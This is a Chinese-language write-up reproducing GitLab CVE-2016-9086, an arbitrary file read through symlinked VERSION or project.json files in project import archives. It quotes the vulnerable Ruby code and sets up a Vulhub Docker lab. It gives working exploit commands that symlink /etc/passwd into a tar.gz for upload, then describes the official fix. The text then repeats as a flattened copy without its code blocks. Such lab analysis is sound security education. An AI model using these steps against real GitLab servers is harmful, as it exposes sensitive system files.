Gitlab 任意文件读取漏洞复现
字数 1259 2025-08-15 21:33:04

GitLab 任意文件读取漏洞(CVE-2016-9086)复现与分析

漏洞概述

GitLab是一个利用Ruby on Rails开发的开源应用程序,实现自托管的Git项目仓库。在多个版本中存在文件读取漏洞(CVE-2016-9086)和任意用户authentication_token泄漏漏洞。攻击者可通过这些漏洞获取管理员权限,进而控制所有GitLab项目。

影响版本

  • 任意文件读取漏洞(CVE-2016-9086): GitLab CE/EE versions 8.9, 8.10, 8.11, 8.12, and 8.13
  • 任意用户authentication_token泄露漏洞: Gitlab CE/EE versions 8.10.3-8.10.5

漏洞分析

漏洞背景

从8.9.0版本开始,GitLab新增了导入导出项目的功能。一个空的GitLab项目导出后结构如下:

VERSION          # GitLab导出模块的版本
project.json     # 包含项目的配置文件

漏洞原理

  1. VERSION文件读取漏洞:

    • 导入时,GitLab会读取VERSION文件的第一行检测导出文件版本
    • 检测代码位于/lib/gitlab/import_export/version_checker.rb:
      def check!
        version = File.open(version_file, &:readline)
        verify_version!(version)
      rescue => e
        shared.error(e)
        false
      end
      
      def verify_version!(version)
        if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
          raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
        else
          true
        end
      end
      
    • 攻击者可创建指向敏感文件(如/etc/passwd)的软链接作为VERSION文件
    • 当版本不匹配时,错误信息会包含version变量值(即目标文件第一行内容)
  2. project.json文件读取漏洞:

    • 读取project.json的代码位于/lib/gitlab/import_export/project_tree_restorer.rb:
      def restore
        json = IO.read(@path)
        tree_hash = ActiveSupport::JSON.decode(json)
        project_members = tree_hash.delete('project_members')
        ActiveRecord::Base.no_touching do
          create_relations
        end
      rescue => e
        shared.error(e)
        false
      end
      
    • 攻击者可创建指向任意文件的软链接作为project.json
    • 当文件内容不是JSON格式时,异常会抛出并在前端显示文件内容

漏洞复现步骤

环境准备

  1. 使用Vulhub的Docker镜像搭建测试环境:

    docker-compose up -d
    
    • 注意:需要2G及以上内存的VPS或虚拟机(1G内存可能导致502错误)
    • Web端口: 10080
    • SSH端口: 10022
  2. 访问http://your-ip:10080,设置管理员(root)密码并登录

漏洞利用

  1. 创建恶意导出包:

    • 对于VERSION文件利用:
      ln -sf /etc/passwd VERSION
      tar zcf test_version.tar.gz ./
      
    • 对于project.json利用:
      ln -sf /etc/passwd project.json
      tar zcf test_project.tar.gz ./
      
  2. 上传恶意包:

    • 新建一个项目
    • 点击"GitLab export"上传恶意tar.gz文件
    • 系统将显示目标文件内容

漏洞修复方案

官方修复措施:

  1. 移除了导入包中的软链接
  2. 将读取VERSION和project.json出错时的内容输出到日志而非返回到前端

修复提交参考:
https://github.com/gitlabhq/gitlabhq/commit/912e1ff4284eb39fe020b8e823085a2cb7f244fb

总结

该漏洞利用GitLab导入功能中对用户提供文件的不安全处理,通过软链接实现任意文件读取。虽然每次只能读取文件部分内容,但结合其他漏洞可能导致严重的安全问题。管理员应及时升级到安全版本,避免使用受影响版本。

GitLab 任意文件读取漏洞(CVE-2016-9086)复现与分析 漏洞概述 GitLab是一个利用Ruby on Rails开发的开源应用程序,实现自托管的Git项目仓库。在多个版本中存在文件读取漏洞(CVE-2016-9086)和任意用户authentication_ token泄漏漏洞。攻击者可通过这些漏洞获取管理员权限,进而控制所有GitLab项目。 影响版本 任意文件读取漏洞(CVE-2016-9086) : GitLab CE/EE versions 8.9, 8.10, 8.11, 8.12, and 8.13 任意用户authentication_ token泄露漏洞 : Gitlab CE/EE versions 8.10.3-8.10.5 漏洞分析 漏洞背景 从8.9.0版本开始,GitLab新增了导入导出项目的功能。一个空的GitLab项目导出后结构如下: 漏洞原理 VERSION文件读取漏洞 : 导入时,GitLab会读取VERSION文件的第一行检测导出文件版本 检测代码位于 /lib/gitlab/import_export/version_checker.rb : 攻击者可创建指向敏感文件(如 /etc/passwd )的软链接作为VERSION文件 当版本不匹配时,错误信息会包含version变量值(即目标文件第一行内容) project.json文件读取漏洞 : 读取project.json的代码位于 /lib/gitlab/import_export/project_tree_restorer.rb : 攻击者可创建指向任意文件的软链接作为project.json 当文件内容不是JSON格式时,异常会抛出并在前端显示文件内容 漏洞复现步骤 环境准备 使用Vulhub的Docker镜像搭建测试环境: 注意:需要2G及以上内存的VPS或虚拟机(1G内存可能导致502错误) Web端口: 10080 SSH端口: 10022 访问 http://your-ip:10080 ,设置管理员(root)密码并登录 漏洞利用 创建恶意导出包 : 对于VERSION文件利用: 对于project.json利用: 上传恶意包 : 新建一个项目 点击"GitLab export"上传恶意tar.gz文件 系统将显示目标文件内容 漏洞修复方案 官方修复措施: 移除了导入包中的软链接 将读取VERSION和project.json出错时的内容输出到日志而非返回到前端 修复提交参考: https://github.com/gitlabhq/gitlabhq/commit/912e1ff4284eb39fe020b8e823085a2cb7f244fb 总结 该漏洞利用GitLab导入功能中对用户提供文件的不安全处理,通过软链接实现任意文件读取。虽然每次只能读取文件部分内容,但结合其他漏洞可能导致严重的安全问题。管理员应及时升级到安全版本,避免使用受影响版本。